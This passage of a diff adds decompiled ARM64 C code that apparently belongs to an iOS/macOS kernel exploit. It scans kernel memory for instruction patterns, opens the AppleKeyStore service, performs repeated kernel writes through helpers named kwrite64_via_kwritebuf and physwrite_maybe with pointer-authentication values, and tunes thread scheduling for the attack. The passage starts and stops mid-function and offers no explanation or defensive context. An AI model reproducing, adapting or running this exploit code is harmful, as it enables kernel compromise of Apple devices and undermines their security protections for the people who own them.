= (int8x16_t *)((char *)v27 + v28); + if ( v27 >= (int8x16_t *)&v27->i8[v28] ) + return 0LL; + v30 = 0LL; + v31 = 0; + v44 = *(int *)(a1 + 0x38) - 1LL; + v32 = a4 & 0x580; + v33 = a3; + while ( 2 ) + { + if ( v27->i32[0] == 0x19 ) + { + if ( !strcmp(&v27->i8[8], "__TEXT") ) + { + *(_QWORD *)(a1 + 0xF8) = a3 - v27[1].i64[1]; + if ( (a4 & 0x100) != 0 ) + goto LABEL_54; + } + else if ( (a4 & 0x100) != 0 ) + { +LABEL_54: + if ( !strcmp(&v27->i8[8], "__KLD") ) + v31 = 1; + } + if ( v32 != 0x180 ) + { + v34 = v27[2].i64[0]; + if ( v34 ) + { + v35 = v27[1].i64[1] + v34; + if ( v35 > v30 ) + v30 = v35; + } + } + if ( (a4 & 0x400) != 0 && v27[2].i64[0] ) + { + v36 = v27[1].u64[1]; + if ( v36 < v33 && v36 != 0 ) + v33 = v27[1].u64[1]; + } + if ( !strcmp(&v27->i8[8], "__LINKEDIT") ) + { + v38 = v27[1].i64[1]; + v39 = vextq_s8(v27[2], v27[2], 8uLL); + if ( v32 == 0x180 ) + v30 = v27[2].i64[0] + v38; + *(_QWORD *)(a1 + 0x10) = v38; + *(int8x16_t *)(a1 + 0x18) = v39; + } + } + v27 = (int8x16_t *)((char *)v27 + (unsigned int)v27->i32[1]); + if ( v27 < v29 ) + continue; + break; + } + result = 0LL; + if ( ((v31 == 0) & (a4 >> 8)) == 0 && v30 ) + { + if ( (~a4 & 0x500) == 0 && *(_QWORD *)(a1 + 0xA0) ) + v33 = *(_QWORD *)(a1 + 0xA0); + v40 = v33 & ~v44; + if ( v33 == a3 ) + v40 = a3; + v41 = (v30 + v44) & ~v44; + v42 = v41 >= v40; + v43 = v41 - v40; + if ( v42 ) + { + *(_QWORD *)(a1 + 0xE0) = v40; + *(_QWORD *)(a1 + 0xE8) = v43; + return sub_19E58(a1); + } + else + { + return 0LL; + } + } + return result; +} + +//----- (000000000001A4FC) ---------------------------------------------------- +bool __fastcall sub_1A4FC(__int64 a1, int a2, __int64 a3, int a4) +{ + return (unsigned int)sub_1A0F4(a1, a2, a3, a4 | 0x100u) != 0; +} + +//----- (000000000001A520) ---------------------------------------------------- +void __fastcall sub_1A520(__int64 a1) +{ + void **v2; // x0 + void *v3; // x0 + + sub_19E04(a1); + v2 = *(void ***)(a1 + 0xD0); + if ( v2 ) + { + if ( *v2 ) + { + free(*v2); + v2 = *(void ***)(a1 + 0xD0); + *v2 = 0LL; + } + free(v2); + *(_QWORD *)(a1 + 0xD0) = 0LL; + } + if ( *(_QWORD *)a1 ) + { + free(*(void **)a1); + *(_QWORD *)a1 = 0LL; + } + v3 = *(void **)(a1 + 0x108); + if ( v3 ) + { + free(v3); + *(_QWORD *)(a1 + 0x108) = 0LL; + } +} + +//----- (000000000001A58C) ---------------------------------------------------- +__int64 __fastcall sub_1A58C(__int64 a1, _QWORD **a2, __int64 a3) +{ + unsigned __int64 v6; // x25 + __int64 result; // x0 + unsigned __int64 v8; // x0 + unsigned int v9; // w27 + unsigned __int64 v10; // x0 + _DWORD *v11; // x22 + __int64 v12; // x0 + unsigned __int64 v13; // x22 + __int64 v14; // x28 + __int64 v15; // x23 + int v16; // w0 + _DWORD *v18; // x22 + __int64 v19; // x0 + unsigned __int64 v20; // x21 + __int64 v21; // x23 + __int64 v22; // x0 + __int64 v23; // x22 + __int64 v24; // x23 + unsigned int v25; // w24 + __int64 v26; // x21 + unsigned int v27; // w23 + unsigned __int64 v28; // x0 + unsigned int v29; // w21 + unsigned int v30; // w8 + __int128 v31; // [xsp+10h] [xbp-90h] BYREF + unsigned int v32; // [xsp+20h] [xbp-80h] + __int128 v33; // [xsp+30h] [xbp-70h] BYREF + int v34; // [xsp+40h] [xbp-60h] + + v6 = *(_QWORD *)algn_480E0; + if ( strstr((const char *)qword_480D8, "T8020") ) + return 5LL; + *(_OWORD *)a1 = xmmword_43270; + *(_OWORD *)(a1 + 0x10) = xmmword_43280; + *(_QWORD *)(a1 + 0x20) = 0xEA2305C0EA140568LL; + *(_DWORD *)(a1 + 0x28) = 0x2BCB05C8; + *(_QWORD *)&v33 = 0xD65F03C0F9402400LL; + *(_QWORD *)&v31 = 0xFFFFFFFFFFFFFFFFLL; + *(_QWORD *)(a1 + 0x30) = sub_3FF8C(a2, (__int64)&v33, (__int64)&v31, 2u); + v33 = xmmword_43290; + v31 = xmmword_432A0; + *(_QWORD *)(a1 + 0x38) = sub_3FF8C(a2, (__int64)&v33, (__int64)&v31, 4u); + v33 = xmmword_432B0; + v31 = xmmword_432A0; + *(_QWORD *)(a1 + 0x40) = sub_3FF8C(a2, (__int64)&v33, (__int64)&v31, 4u); + *(_QWORD *)&v33 = 0xD65F03C0D508831FLL; + *(_QWORD *)&v31 = 0xFFFFFFFFFFFFFFFFLL; + *(_QWORD *)(a1 + 0x48) = sub_3FF8C(a2, (__int64)&v33, (__int64)&v31, 2u); + if ( v6 < 0x918C5A83400LL ) + { + v9 = 0xA903027F; + *(_QWORD *)&v33 = 0xD65F03C0F9000041LL; + *(_QWORD *)&v31 = 0xFFFFFFFFFFFFFFFFLL; + v8 = sub_3FF8C(a2, (__int64)&v33, (__int64)&v31, 2u); + } + else + { + *(_QWORD *)&v33 = 0xD65F03C0F9000022LL; + *(_QWORD *)&v31 = 0xFFFFFFFFFFFFFFFFLL; + v8 = sub_3FF8C(a2, (__int64)&v33, (__int64)&v31, 2u); + v9 = 0xA90302DF; + } + *(_QWORD *)(a1 + 0x50) = v8; + *(_QWORD *)&v33 = 0x52820002AA0003E8LL; + DWORD2(v33) = 0x72A003A2; + *(_QWORD *)&v31 = 0xFFFFFFFFFFFFFFFFLL; + DWORD2(v31) = 0xFFFFFFFF; + *(_QWORD *)(a1 + 0x58) = sub_3FF8C(a2, (__int64)&v33, (__int64)&v31, 3u); + *(_QWORD *)&v33 = 0x17000000B2400000LL; + *(_QWORD *)&v31 = 0xFF000000FFFFFFFFLL; + *(_QWORD *)(a1 + 0x60) = sub_3FF8C(a2, (__int64)&v33, (__int64)&v31, 2u) + 8; + v33 = xmmword_432C0; + *(_QWORD *)&v31 = 0xFFFFFFFFFFFFFFFFLL; + *((_QWORD *)&v31 + 1) = 0xFFFFFFFFFFFFFFFFLL; + *(_QWORD *)(a1 + 0x68) = sub_3FF8C(a2, (__int64)&v33, (__int64)&v31, 4u); + v33 = xmmword_432D0; + *(_QWORD *)&v31 = 0xFFFFFFFFFFFFFFFFLL; + *((_QWORD *)&v31 + 1) = 0xFFFFFFFFFFFFFFFFLL; + v10 = sub_40024((__int64)a2, (__int64)&v33, (__int64)&v31, 4u); + *(_QWORD *)(a1 + 0x78) = v10 - 8; + v11 = *(_DWORD **)(a3 + 0x20); + v12 = sub_10660(a3, v10 + 0x10); + v13 = sub_29D2C(v11, v12); + v14 = 0LL; + while ( 1 ) + { + v15 = sub_3FF78((__int64)a2, *a2, v13 + v14); + v16 = sub_3FF78((__int64)a2, *a2, v13 + v14 + 8); + if ( (v15 & 0xFC000000) == 0x94000000 && v16 == v9 ) + break; + v14 += 4LL; + if ( (_DWORD)v14 == 0x1000 ) + goto LABEL_14; + } + *(_QWORD *)(a1 + 0x70) = v13 + (v15 << 0x26 >> 0x24) + v14; +LABEL_14: + v18 = *(_DWORD **)(a3 + 0x20); + v19 = sub_10660(a3, *(_QWORD *)(a1 + 0x78) + 0x18LL); + v20 = sub_29D2C(v18, v19); + v21 = 0LL; + while ( 1 ) + { + v22 = sub_3FF78((__int64)a2, *a2, v20 + v21); + if ( (v22 & 0xFC000000) == 0x94000000 && v20 + v21 + (v22 << 0x26 >> 0x24) == *(_QWORD *)(a1 + 0x70) ) + break; + v21 += 4LL; + if ( (_DWORD)v21 == 0x300 ) + { + v23 = 0LL; + goto LABEL_20; + } + } + v23 = v20 + v21; +LABEL_20: + v24 = 0LL; + if ( v6 <= 0x918C5A833FFLL ) + v25 = 0xF9001660; + else + v25 = 0xF90016C0; + while ( 1 ) + { + v26 = v23 + v24; + if ( (unsigned int)sub_3FF78((__int64)a2, *a2, v23 + v24) == v25 ) + break; + v24 -= 4LL; + if ( (_DWORD)v24 == 0xFFFFFF80 ) + { + v26 = 0LL; + break; + } + } + v27 = sub_3FF78((__int64)a2, *a2, v26 + 4); + *(_QWORD *)(a1 + 0x80) = ((v26 + 4) & 0xFFFFFFFFFFFFF000LL) + + 2LL * (int)((v27 >> 0x12) & 0x1800 | (v27 >> 5 << 0xD)) + + (((unsigned int)sub_3FF78((__int64)a2, *a2, v26 + 8) >> 7) & 0x7FF8); + v33 = xmmword_43350; + v34 = 0x78E13108; + v31 = xmmword_43364; + v32 = 0xFFFFFFFF; + v28 = sub_3FF8C(a2, (__int64)&v33, (__int64)&v31, 5u); + *(_QWORD *)(a1 + 0x88) = v28; + v29 = sub_3FF78((__int64)a2, *a2, v28 + 4); + v30 = sub_3FF78((__int64)a2, *a2, *(_QWORD *)(a1 + 0x88) + 8LL); + result = 0LL; + *(_QWORD *)(a1 + 0x88) = ((*(_QWORD *)(a1 + 0x88) + 4LL) & 0xFFFFFFFFFFFFF000LL) + + 2LL * (int)((v29 >> 0x12) & 0x1800 | (v29 >> 5 << 0xD)) + + ((v30 >> 7) & 0x7FF8); + return result; +} +// 43270: using guessed type __int128 xmmword_43270; +// 43280: using guessed type __int128 xmmword_43280; +// 43290: using guessed type __int128 xmmword_43290; +// 432A0: using guessed type __int128 xmmword_432A0; +// 432B0: using guessed type __int128 xmmword_432B0; +// 432C0: using guessed type __int128 xmmword_432C0; +// 432D0: using guessed type __int128 xmmword_432D0; +// 43350: using guessed type __int128 xmmword_43350; +// 43364: using guessed type __int128 xmmword_43364; +// 480D8: using guessed type __int64 qword_480D8; +// 480E0: using guessed type _BYTE algn_480E0[32]; + +//----- (000000000001AA90) ---------------------------------------------------- +__int64 __fastcall sub_1AA90(__int64 result) +{ + __int64 v1; // x19 + + if ( *(_DWORD *)(result + 0x14) ) + { + v1 = result; + do + { + if ( (_ReadStatusReg(ARM64_SYSREG(3, 3, 0xD, 0, 2)) & 0xFFC) != 0 ) + result = thread_switch(*(_DWORD *)(v1 + 0x14), 0, 0); + } + while ( *(_DWORD *)(v1 + 0x14) ); + } + return result; +} + +//----- (000000000001AADC) ---------------------------------------------------- +__int64 __fastcall sub_1AADC(__int64 a1, __int64 a2) +{ + const __CFDictionary *v4; // x0 + io_service_t MatchingService; // w0 + unsigned __int64 v6; // x21 + __int64 v7; // x0 + unsigned __int64 v8; // x23 + _DWORD *v9; // x24 + __int64 v10; // x0 + unsigned __int64 v11; // x0 + __int64 v12; // x24 + __int64 v13; // x25 + __int64 v14; // x0 + _DWORD *v15; // x24 + __int64 v16; // x0 + unsigned __int64 v17; // x0 + __int64 v18; // x24 + __int64 v19; // x25 + __int64 v20; // x0 + _DWORD *v21; // x24 + __int64 v22; // x0 + unsigned __int64 v23; // x0 + __int64 v24; // x24 + __int64 v25; // x25 + __int64 v26; // x0 + _DWORD *v27; // x24 + __int64 v28; // x0 + unsigned __int64 v29; // x0 + __int64 v30; // x24 + __int64 v31; // x25 + __int64 v32; // x0 + _DWORD *v33; // x24 + __int64 v34; // x0 + unsigned __int64 v35; // x0 + __int64 v36; // x24 + __int64 v37; // x25 + __int64 v38; // x0 + _DWORD *v39; // x24 + __int64 v40; // x0 + unsigned __int64 v41; // x0 + __int64 v42; // x24 + __int64 v43; // x25 + __int64 v44; // x0 + _DWORD *v45; // x24 + __int64 v46; // x0 + unsigned __int64 v47; // x0 + __int64 v48; // x24 + __int64 v49; // x25 + __int64 v50; // x0 + _DWORD *v51; // x24 + __int64 v52; // x0 + unsigned __int64 v53; // x0 + __int64 v54; // x24 + __int64 v55; // x25 + __int64 v56; // x0 + _DWORD *v57; // x24 + __int64 v58; // x0 + unsigned __int64 v59; // x0 + __int64 v60; // x23 + __int64 v61; // x24 + __int64 v62; // x0 + __int64 v63; // x23 + __int64 v64; // x24 + __int64 v65; // x0 + __int64 v66; // x23 + __int64 v67; // x24 + __int64 v68; // x0 + __int64 v69; // x23 + __int64 v70; // x24 + __int64 v71; // x0 + __int64 v72; // x0 + __int64 v73; // x22 + __int64 v74; // x0 + __int64 v75; // x0 + __int64 result; // x0 + __int128 v77; // [xsp+10h] [xbp-50h] BYREF + + v4 = IOServiceMatching("AppleKeyStore"); + MatchingService = IOServiceGetMatchingService(kIOMasterPortDefault, v4); + IOServiceOpen(MatchingService, mach_task_self_, 0, (io_connect_t *)a2); + v6 = sub_224B4(*(_QWORD *)a1, *(_DWORD *)a2); + *(_QWORD *)(a2 + 0x18) = sub_10660(*(_QWORD *)a1, v6 + 0x48); + v7 = sub_10660(*(_QWORD *)a1, v6); + *(_QWORD *)(a2 + 0x20) = v7; + v8 = sub_29D2C(*(_DWORD **)(*(_QWORD *)a1 + 0x20LL), v7); + v77 = xmmword_432E0; + *(_QWORD *)(a2 + 0x10) = (*(__int64 (__fastcall **)(_QWORD, __int64, __int64, __int128 *))(**(_QWORD **)(a1 + 8) + 8LL))( + *(_QWORD *)(a1 + 8), + qword_480A0, + 2LL, + &v77); + v9 = *(_DWORD **)(*(_QWORD *)a1 + 0x20LL); + v10 = sub_10660(*(_QWORD *)a1, v8 + (unsigned __int16)word_48048); + v11 = sub_29D2C(v9, v10); + v12 = *(_QWORD *)(a2 + 0x10) + (unsigned __int16)word_48048; + v13 = *(_QWORD *)a1; + v14 = (*(__int64 (__fastcall **)(_QWORD, unsigned __int64, unsigned __int64))(**(_QWORD **)(a1 + 8) + 0x10LL))( + *(_QWORD *)(a1 + 8), + v11, + v12 & 0xFFFFFFFFFFFFLL | ((unsigned __int64)(unsigned __int16)word_4804A << 0x30)); + kwrite64_via_kwritebuf(v13, v12, v14); + v15 = *(_DWORD **)(*(_QWORD *)a1 + 0x20LL); + v16 = sub_10660(*(_QWORD *)a1, v8 + (unsigned __int16)word_4804C); + v17 = sub_29D2C(v15, v16); + v18 = *(_QWORD *)(a2 + 0x10) + (unsigned __int16)word_4804C; + v19 = *(_QWORD *)a1; + v20 = (*(__int64 (__fastcall **)(_QWORD, unsigned __int64, unsigned __int64))(**(_QWORD **)(a1 + 8) + 0x10LL))( + *(_QWORD *)(a1 + 8), + v17, + v18 & 0xFFFFFFFFFFFFLL | ((unsigned __int64)(unsigned __int16)word_4804E << 0x30)); + kwrite64_via_kwritebuf(v19, v18, v20); + v21 = *(_DWORD **)(*(_QWORD *)a1 + 0x20LL); + v22 = sub_10660(*(_QWORD *)a1, v8 + (unsigned __int16)word_48050); + v23 = sub_29D2C(v21, v22); + v24 = *(_QWORD *)(a2 + 0x10) + (unsigned __int16)word_48050; + v25 = *(_QWORD *)a1; + v26 = (*(__int64 (__fastcall **)(_QWORD, unsigned __int64, unsigned __int64))(**(_QWORD **)(a1 + 8) + 0x10LL))( + *(_QWORD *)(a1 + 8), + v23, + v24 & 0xFFFFFFFFFFFFLL | ((unsigned __int64)(unsigned __int16)word_48052 << 0x30)); + kwrite64_via_kwritebuf(v25, v24, v26); + v27 = *(_DWORD **)(*(_QWORD *)a1 + 0x20LL); + v28 = sub_10660(*(_QWORD *)a1, v8 + (unsigned __int16)word_48054); + v29 = sub_29D2C(v27, v28); + v30 = *(_QWORD *)(a2 + 0x10) + (unsigned __int16)word_48054; + v31 = *(_QWORD *)a1; + v32 = (*(__int64 (__fastcall **)(_QWORD, unsigned __int64, unsigned __int64))(**(_QWORD **)(a1 + 8) + 0x10LL))( + *(_QWORD *)(a1 + 8), + v29, + v30 & 0xFFFFFFFFFFFFLL | ((unsigned __int64)(unsigned __int16)word_48056 << 0x30)); + kwrite64_via_kwritebuf(v31, v30, v32); + v33 = *(_DWORD **)(*(_QWORD *)a1 + 0x20LL); + v34 = sub_10660(*(_QWORD *)a1, v8 + (unsigned __int16)word_48058); + v35 = sub_29D2C(v33, v34); + v36 = *(_QWORD *)(a2 + 0x10) + (unsigned __int16)word_48058; + v37 = *(_QWORD *)a1; + v38 = (*(__int64 (__fastcall **)(_QWORD, unsigned __int64, unsigned __int64))(**(_QWORD **)(a1 + 8) + 0x10LL))( + *(_QWORD *)(a1 + 8), + v35, + v36 & 0xFFFFFFFFFFFFLL | ((unsigned __int64)(unsigned __int16)word_4805A << 0x30)); + kwrite64_via_kwritebuf(v37, v36, v38); + v39 = *(_DWORD **)(*(_QWORD *)a1 + 0x20LL); + v40 = sub_10660(*(_QWORD *)a1, v8 + (unsigned __int16)word_4805C); + v41 = sub_29D2C(v39, v40); + v42 = *(_QWORD *)(a2 + 0x10) + (unsigned __int16)word_4805C; + v43 = *(_QWORD *)a1; + v44 = (*(__int64 (__fastcall **)(_QWORD, unsigned __int64, unsigned __int64))(**(_QWORD **)(a1 + 8) + 0x10LL))( + *(_QWORD *)(a1 + 8), + v41, + v42 & 0xFFFFFFFFFFFFLL | ((unsigned __int64)(unsigned __int16)word_4805E << 0x30)); + kwrite64_via_kwritebuf(v43, v42, v44); + v45 = *(_DWORD **)(*(_QWORD *)a1 + 0x20LL); + v46 = sub_10660(*(_QWORD *)a1, v8 + (unsigned __int16)word_48060); + v47 = sub_29D2C(v45, v46); + v48 = *(_QWORD *)(a2 + 0x10) + (unsigned __int16)word_48060; + v49 = *(_QWORD *)a1; + v50 = (*(__int64 (__fastcall **)(_QWORD, unsigned __int64, unsigned __int64))(**(_QWORD **)(a1 + 8) + 0x10LL))( + *(_QWORD *)(a1 + 8), + v47, + v48 & 0xFFFFFFFFFFFFLL | ((unsigned __int64)(unsigned __int16)word_48062 << 0x30)); + kwrite64_via_kwritebuf(v49, v48, v50); + v51 = *(_DWORD **)(*(_QWORD *)a1 + 0x20LL); + v52 = sub_10660(*(_QWORD *)a1, v8 + (unsigned __int16)word_48070); + v53 = sub_29D2C(v51, v52); + v54 = *(_QWORD *)(a2 + 0x10) + (unsigned __int16)word_48070; + v55 = *(_QWORD *)a1; + v56 = (*(__int64 (__fastcall **)(_QWORD, unsigned __int64, unsigned __int64))(**(_QWORD **)(a1 + 8) + 0x10LL))( + *(_QWORD *)(a1 + 8), + v53, + v54 & 0xFFFFFFFFFFFFLL | ((unsigned __int64)(unsigned __int16)word_48072 << 0x30)); + kwrite64_via_kwritebuf(v55, v54, v56); + v57 = *(_DWORD **)(*(_QWORD *)a1 + 0x20LL); + v58 = sub_10660(*(_QWORD *)a1, v8 + (unsigned __int16)word_48064); + v59 = sub_29D2C(v57, v58); + v60 = *(_QWORD *)(a2 + 0x10) + (unsigned __int16)word_48064; + v61 = *(_QWORD *)a1; + v62 = (*(__int64 (__fastcall **)(_QWORD, unsigned __int64, unsigned __int64))(**(_QWORD **)(a1 + 8) + 0x10LL))( + *(_QWORD *)(a1 + 8), + v59, + v60 & 0xFFFFFFFFFFFFLL | ((unsigned __int64)(unsigned __int16)word_48066 << 0x30)); + kwrite64_via_kwritebuf(v61, v60, v62); + v63 = *(_QWORD *)(a2 + 0x10) + (unsigned __int16)word_4806C; + v64 = *(_QWORD *)a1; + v65 = (*(__int64 (__fastcall **)(_QWORD, __int64, unsigned __int64))(**(_QWORD **)(a1 + 8) + 0x10LL))( + *(_QWORD *)(a1 + 8), + qword_48078, + v63 & 0xFFFFFFFFFFFFLL | ((unsigned __int64)(unsigned __int16)word_4806E << 0x30)); + kwrite64_via_kwritebuf(v64, v63, v65); + v66 = *(_QWORD *)(a2 + 0x10) + (unsigned __int16)word_48068; + v67 = *(_QWORD *)a1; + v68 = (*(__int64 (__fastcall **)(_QWORD, __int64, unsigned __int64))(**(_QWORD **)(a1 + 8) + 0x10LL))( + *(_QWORD *)(a1 + 8), + qword_48078 + 4, + v66 & 0xFFFFFFFFFFFFLL | ((unsigned __int64)(unsigned __int16)word_4806A << 0x30)); + kwrite64_via_kwritebuf(v67, v66, v68); + v69 = *(_QWORD *)(a2 + 0x10) + (unsigned __int16)word_48064; + v70 = *(_QWORD *)a1; + v71 = (*(__int64 (__fastcall **)(_QWORD, __int64, unsigned __int64))(**(_QWORD **)(a1 + 8) + 0x10LL))( + *(_QWORD *)(a1 + 8), + qword_48078 + 4, + v69 & 0xFFFFFFFFFFFFLL | ((unsigned __int64)(unsigned __int16)word_48066 << 0x30)); + kwrite64_via_kwritebuf(v70, v69, v71); + v77 = xmmword_432E0; + v72 = (*(__int64 (__fastcall **)(_QWORD, __int64, __int64, __int128 *))(**(_QWORD **)(a1 + 8) + 8LL))( + *(_QWORD *)(a1 + 8), + qword_480A0, + 2LL, + &v77); + *(_QWORD *)(a2 + 8) = v72; + kwrite64_via_kwritebuf(*(_QWORD *)a1, v72 + 0x10, 0LL); + kwrite64_via_kwritebuf(*(_QWORD *)a1, v6 + 0x48, *(_QWORD *)(a2 + 8)); + sub_10708(*(_QWORD *)a1, v6 + 0x9C, 0x111); + v73 = *(_QWORD *)a1; + v74 = (*(__int64 (__fastcall **)(_QWORD, _QWORD, unsigned __int64))(**(_QWORD **)(a1 + 8) + 0x20LL))( + *(_QWORD *)(a1 + 8), + *(_QWORD *)(a2 + 0x10), + v6 & 0xFFFFFFFFFFFFLL | 0xCDA1000000000000LL); + kwrite64_via_kwritebuf(v73, v6, v74); + *(_QWORD *)&v77 = *(_QWORD *)(a2 + 8); + v75 = (*(__int64 (__fastcall **)(_QWORD, __int64, __int64, __int128 *))(**(_QWORD **)(a1 + 8) + 8LL))( + *(_QWORD *)(a1 + 8), + qword_480B0, + 1LL, + &v77); + result = physwrite_maybe(*(_QWORD *)(*(_QWORD *)a1 + 0x20LL), v75, a2 + 0x28); + **(_QWORD **)(a2 + 0x28) = 0LL; + return result; +} +// 0: using guessed type int def_3E8F0; +// 4: using guessed type int dword_4; +// 8: using guessed type int dword_8; +// C: using guessed type int; +// 10: using guessed type int dword_10; +// 14: using guessed type int; +// 18: using guessed type int; +// 1C: using guessed type int; +// 20: using guessed type segment_command_64 stru_20; +// 38870: using guessed type __int64 __fastcall sub_38870(_QWORD, _QWORD, _QWORD); +// 432E0: using guessed type __int128 xmmword_432E0; +// 48048: using guessed type __int16 word_48048; +// 4804A: using guessed type __int16 word_4804A; +// 4804C: using guessed type __int16 word_4804C; +// 4804E: using guessed type __int16 word_4804E; +// 48050: using guessed type __int16 word_48050; +// 48052: using guessed type __int16 word_48052; +// 48054: using guessed type __int16 word_48054; +// 48056: using guessed type __int16 word_48056; +// 48058: using guessed type __int16 word_48058; +// 4805A: using guessed type __int16 word_4805A; +// 4805C: using guessed type __int16 word_4805C; +// 4805E: using guessed type __int16 word_4805E; +// 48060: using guessed type __int16 word_48060; +// 48062: using guessed type __int16 word_48062; +// 48064: using guessed type __int16 word_48064; +// 48066: using guessed type __int16 word_48066; +// 48068: using guessed type __int16 word_48068; +// 4806A: using guessed type __int16 word_4806A; +// 4806C: using guessed type __int16 word_4806C; +// 4806E: using guessed type __int16 word_4806E; +// 48070: using guessed type __int16 word_48070; +// 48072: using guessed type __int16 word_48072; +// 48078: using guessed type __int64 qword_48078; +// 480A0: using guessed type __int64 qword_480A0; +// 480B0: using guessed type __int64 qword_480B0; + +//----- (000000000001B158) ---------------------------------------------------- +__int64 __fastcall sub_1B158(__int64 a1, __int64 a2) +{ + unsigned __int64 v4; // x21 + __int64 result; // x0 + __int64 v6; // [xsp+8h] [xbp-38h] BYREF + __int64 v7; // [xsp+10h] [xbp-30h] + + v4 = sub_224B4(*(_QWORD *)a1, *(_DWORD *)a2); + kwrite64_via_kwritebuf(*(_QWORD *)a1, v4 + 0x48, *(_QWORD *)(a2 + 0x18)); + kwrite64_via_kwritebuf(*(_QWORD *)a1, v4, *(_QWORD *)(a2 + 0x20)); + sub_10708(*(_QWORD *)a1, v4 + 0x9C, 0); + sub_38BCC(*(_QWORD *)(*(_QWORD *)a1 + 0x20LL)); + v6 = *(_QWORD *)(a2 + 8); + v7 = 0x4000LL; + (*(void (__fastcall **)(_QWORD, __int64, __int64, __int64 *))(**(_QWORD **)(a1 + 8) + 8LL))( + *(_QWORD *)(a1 + 8), + qword_480A8, + 2LL, + &v6); + v6 = *(_QWORD *)(a2 + 0x10); + v7 = 0x4000LL; + (*(void (__fastcall **)(_QWORD, __int64, __int64, __int64 *))(**(_QWORD **)(a1 + 8) + 8LL))( + *(_QWORD *)(a1 + 8), + qword_480A8, + 2LL, + &v6); + result = IOServiceClose(*(_DWORD *)a2); + *(_DWORD *)a2 = 0; + return result; +} +// 480A8: using guessed type __int64 qword_480A8; + +//----- (000000000001B280) ---------------------------------------------------- +__int64 __fastcall sub_1B280(__int64 a1) +{ + __int128 v3; // [xsp+20h] [xbp-30h] BYREF + + v3 = xmmword_432E0; + *(_QWORD *)&v3 = (*(__int64 (__fastcall **)(_QWORD, __int64, __int64, __int128 *))(**(_QWORD **)(a1 + 8) + 8LL))( + *(_QWORD *)(a1 + 8), + qword_480A0, + 2LL, + &v3); + (*(void (__fastcall **)(_QWORD, __int64, __int64, __int128 *))(**(_QWORD **)(a1 + 8) + 8LL))( + *(_QWORD *)(a1 + 8), + qword_480B0, + 1LL, + &v3); + (*(void (__fastcall **)(_QWORD, __int64))(**(_QWORD **)(a1 + 8) + 0x30LL))(*(_QWORD *)(a1 + 8), 0x12LL); + return (*(__int64 (__fastcall **)(_QWORD, __int64))(**(_QWORD **)(a1 + 8) + 0x30LL))(*(_QWORD *)(a1 + 8), 0x10LL); +} +// 432E0: using guessed type __int128 xmmword_432E0; +// 480A0: using guessed type __int64 qword_480A0; +// 480B0: using guessed type __int64 qword_480B0; + +//----- (000000000001B360) ---------------------------------------------------- +__int64 __fastcall sub_1B360(__int64 a1, _QWORD **a2) +{ + _QWORD *i; // x8 + __int16 j; // w8 + mach_port_name_t v6; // w0 + thread_act_t v7; // w0 + __int64 result; // x0 + integer_t policy_info[4]; // [xsp+30h] [xbp-30h] BYREF + + for ( i = *a2; *i; i = *a2 ) + sched_yield(); + for ( j = _ReadStatusReg(ARM64_SYSREG(3, 3, 0xD, 0, 2)); + (j & 0xFFC) != 0; + j = _ReadStatusReg(ARM64_SYSREG(3, 3, 0xD, 0, 2)) ) + { + v6 = mach_thread_self(); + thread_switch(v6, 0, 0); + } + *(_OWORD *)policy_info = xmmword_432F0; + v7 = mach_thread_self(); + thread_policy_set(v7, 2u, policy_info, 4u); + result = (*(__int64 (__fastcall **)(_QWORD, __int64))(**(_QWORD **)(a1 + 8) + 0x30LL))(*(_QWORD *)(a1 + 8), 0x35LL); + **a2 = 2LL; + return result; +} +// 432F0: using guessed type __int128 xmmword_432F0; + +//----- (000000000001B42C) ---------------------------------------------------- +__int64 __fastcall sub_1B42C(_QWORD *a1) +{ + unsigned __int64 v2; // x26 + thread_act_t v3; // w0 + uintptr_t v4; // x20 + __int64 v5; // x21 + __int64 v6; // x0 + __int64 v7; // x21 + __int64 v8; // x0 + __int64 v9; // x0 + __int64 v10; // x21 + __int64 v11; // x0 + __int64 v12; // x22 + __int64 v13; // x21 + __int64 v14; // x0 + __int64 v16; // x0 + __int64 v17; // x0 + __int64 v18; // x21 + __int64 v19; // x23 + __int64 v20; // x0 + __int64 v21; // x21 + __int64 v22; // x23 + __int64 v23; // x8 + __int64 v24; // x0 + bool v25; // zf + __int64 v26; // x24 + __int64 v27; // x21 + __int64 v28; // x0 + unsigned __int64 v29; // x8 + __int64 v30; // x28 + unsigned __int64 v31; // x8 + mach_port_name_t v32; // w0 + __int64 v33; // x8 + int v34; // w21 + __int64 v35; // x9 + __int64 v36; // x20 + __int64 v37; // [xsp+40h] [xbp-400h] + unsigned __int64 v38; // [xsp+48h] [xbp-3F8h] + __int64 v39; // [xsp+50h] [xbp-3F0h] + __int64 v40; // [xsp+58h] [xbp-3E8h] + __int64 v41; // [xsp+60h] [xbp-3E0h] + __int64 v42; // [xsp+68h] [xbp-3D8h] + uintptr_t v43; // [xsp+70h] [xbp-3D0h] + unsigned __int64 v44; // [xsp+78h] [xbp-3C8h] + __int64 v45; // [xsp+88h] [xbp-3B8h] + uintptr_t v46; // [xsp+90h] [xbp-3B0h] + _QWORD v47[12]; // [xsp+A8h] [xbp-398h] BYREF + pthread_t v48; // [xsp+108h] [xbp-338h] BYREF + _QWORD v49[5]; // [xsp+110h] [xbp-330h] BYREF + __int64 v50; // [xsp+138h] [xbp-308h] BYREF + __int128 policy_info; // [xsp+140h] [xbp-300h] BYREF + _OWORD connect[2]; // [xsp+150h] [xbp-2F0h] BYREF + __int128 v53; // [xsp+170h] [xbp-2D0h] + __int128 v54; // [xsp+180h] [xbp-2C0h] + __int128 v55; // [xsp+190h] [xbp-2B0h] + __int128 v56; // [xsp+1A0h] [xbp-2A0h] + __int128 v57; // [xsp+1B0h] [xbp-290h] BYREF + _QWORD v58[64]; // [xsp+1C8h] [xbp-278h] BYREF + + v2 = *(_QWORD *)algn_480E0; + if ( strstr((const char *)qword_480D8, "T8020") ) + return 5LL; + v55 = 0u; + v56 = 0u; + v53 = 0u; + v54 = 0u; + memset(connect, 0, sizeof(connect)); + sub_1AADC(a1, connect); + policy_info = xmmword_43300; + v3 = mach_thread_self(); + thread_policy_set(v3, 2u, (thread_policy_t)&policy_info, 4u); + v57 = xmmword_432E0; + v4 = (*(__int64 (__fastcall **)(_QWORD, __int64, __int64, __int128 *))(*(_QWORD *)a1[1] + 8LL))( + a1[1], + qword_480A0, + 2LL, + &v57); + kwrite64_via_kwritebuf(*a1, v4, 0xBEE5000000010003LL, 1LL); + kwrite64_via_kwritebuf(*a1, v4 + 8, v4 + 256, 1LL); + kwrite64_via_kwritebuf(*a1, v4 + 16, v4 + 512, 1LL); + kwrite64_via_kwritebuf(*a1, v4 + 24, v4 + 768, 1LL); + v57 = xmmword_432E0; + v5 = (*(__int64 (__fastcall **)(_QWORD, __int64, __int64, __int128 